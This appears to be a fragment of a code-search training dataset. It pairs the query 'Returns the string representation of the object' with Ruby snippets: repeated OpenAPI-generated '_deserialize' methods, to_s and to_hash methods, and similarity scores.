"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = NSXT.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = NSXT.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = NSXT.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TreezorClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TreezorClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TreezorClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = SwiftApi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = SwiftApi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TripletexApi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = unwiredClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Quandoo.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end"
] | [
"0.7330926",
"0.7274019",
"0.72504056",
"0.7245751",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.72291344",
"0.7218884",
"0.7213926",
"0.71909",
"0.7183136",
"0.71796805",
"0.71796805",
"0.71796805",
"0.71796805",
"0.71796805",
"0.71796805",
"0.71796805",
"0.71791923",
"0.71791923",
"0.71791923",
"0.71791923",
"0.71791923",
"0.71791923",
"0.71791923",
"0.71791923",
"0.71791923",
"0.71791923",
"0.71712995",
"0.71712995",
"0.71712995",
"0.71712995",
"0.71712995",
"0.71632504",
"0.71549904",
"0.71473306",
"0.71413666",
"0.71413666",
"0.7141116",
"0.7141116",
"0.7141116",
"0.7133874",
"0.7133874",
"0.7133874",
"0.7133874",
"0.71333444",
"0.71333444",
"0.7127688",
"0.7125744",
"0.71210617",
"0.71210617",
"0.71190786",
"0.71184087",
"0.711393",
"0.7113519",
"0.7113519",
"0.7113516",
"0.71119875",
"0.71119875",
"0.71119875",
"0.7105169",
"0.7105169",
"0.7105169",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7104928",
"0.7102596",
"0.7102596",
"0.7102596",
"0.7101596",
"0.7101596",
"0.7101596",
"0.70996517",
"0.70996517",
"0.7097952",
"0.7097185",
"0.70965225"
] | 0.0 | -1 |
Returns the string representation of the object | def to_s
to_hash.to_s
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_s\n @object.to_s\n end",
"def to_s\n object.to_s\n end",
"def serialize(object)\n object.to_s\n end",
"def to_s\n self.inspect\n end",
"def to_s\n @string || @object.to_s('F')\n end",
"def to_s\n @string || @object.to_s('F')\n end",
"def to_s\n \"#<#{self.class.name}:#{object_id} #{info}>\"\n end",
"def to_s\n \"#<#{self.class.name}:#{object_id}> @names=#{names}>\"\n end",
"def to_s\n self.inspect\n end",
"def to_s\n toString()\n end",
"def to_s\r\n dump\r\n end",
"def to_s\n inspect\n end",
"def to_s\n toString\n end",
"def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end",
"def to_s\n\t\t\t@string\n\t\tend",
"def to_s\n stringify\n end",
"def to_s\n to_h.to_s\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def inspect\n serialize.to_s\n end",
"def inspect\n to_s\n end",
"def to_s\n @string ||= Builder::ToString.new(self).string\n end",
"def to_s\n self\n end",
"def to_s()\n serialize.to_s()\n end",
"def to_s()\n serialize.to_s()\n end",
"def to_s\n string\n end",
"def to_s\n inspect\n end",
"def to_s\n inspect\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n self.to_s\n end",
"def inspect\n self.to_s\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def to_s\n end",
"def to_s\n end",
"def to_s\n end",
"def to_s\n end",
"def inspect\n to_s.inspect\n end",
"def inspect()\n serialize.to_s()\n end",
"def inspect()\n serialize.to_s()\n end",
"def inspect\n return self.to_s\n end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end"
] | [
"0.9011548",
"0.8951823",
"0.8472387",
"0.8339536",
"0.8336845",
"0.8336845",
"0.83325315",
"0.82546043",
"0.8144802",
"0.81426954",
"0.813444",
"0.8125573",
"0.80915654",
"0.80848795",
"0.8071387",
"0.8037398",
"0.803006",
"0.8003827",
"0.8003827",
"0.8003827",
"0.8003827",
"0.7960373",
"0.7960373",
"0.7960373",
"0.7960373",
"0.7953812",
"0.7944146",
"0.79180473",
"0.7907694",
"0.78838724",
"0.78838724",
"0.78821206",
"0.7881934",
"0.7881934",
"0.7874987",
"0.7874987",
"0.7874987",
"0.7874987",
"0.7874987",
"0.7874987",
"0.7874987",
"0.78666323",
"0.78666323",
"0.7865125",
"0.7865125",
"0.78492916",
"0.78492916",
"0.78492916",
"0.78492916",
"0.7807645",
"0.77843463",
"0.77843463",
"0.7767266",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636",
"0.77597636"
] | 0.0 | -1 |
to_body is an alias to to_hash (backward compatibility) | def to_body
to_hash
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_body\r\n to_hash\r\n end",
"def to_body\n to_hash\nend",
"def to_body\n to_hash\nend"
] | [
"0.84283537",
"0.8347048",
"0.8347048"
] | 0.0 | -1 |
Returns the object in the form of hash | def to_hash(attribute_map = self.class.attribute_map, openapi_nullable = Set.new([]))
hash = {}
attribute_map.each_pair do |attr, param|
value = self.send(attr)
if value.nil?
is_nullable = openapi_nullable.include?(attr)
next if !is_nullable || (is_nullable && !instance_variable_defined?(:"@#{attr}"))
end
hash[param] = _to_hash(value)
end
hash
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_hash\n object\n end",
"def hash\r\n return to_s.hash\r\n end",
"def hash\n to_a.hash\n end",
"def hash\n [_hash, name, owner].hash\n end",
"def hash\n return to_s.hash\n end",
"def hash\n @hash\n end",
"def hash\n @hash.hash\n end",
"def hash\n @hash ||= self.to_a.hash\n end",
"def to_hash\n @hash\n end",
"def to_hash\n @hash\n end",
"def hash\n to_s.hash\n end",
"def to_hash\n @hash\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @object\n end",
"def to_h\n @hash\n end",
"def to_h\n @hash\n end",
"def hash\n to_h.hash ^ self.class.hash\n end",
"def as_hash\n @hash\n end",
"def __getobj__\n @hashobj\n end",
"def to_hash() end",
"def hash\n to_s.hash\n end",
"def hash\n to_s.hash\n end",
"def hash\n object_id\n end",
"def to_hash\n @_hash_\n end",
"def hash\n\t\treturn self.name.to_s.hash\n\tend",
"def to_hash\n to_a.hash\n end",
"def hash\n { hash: @hash, hashType: @hash_type }\n end",
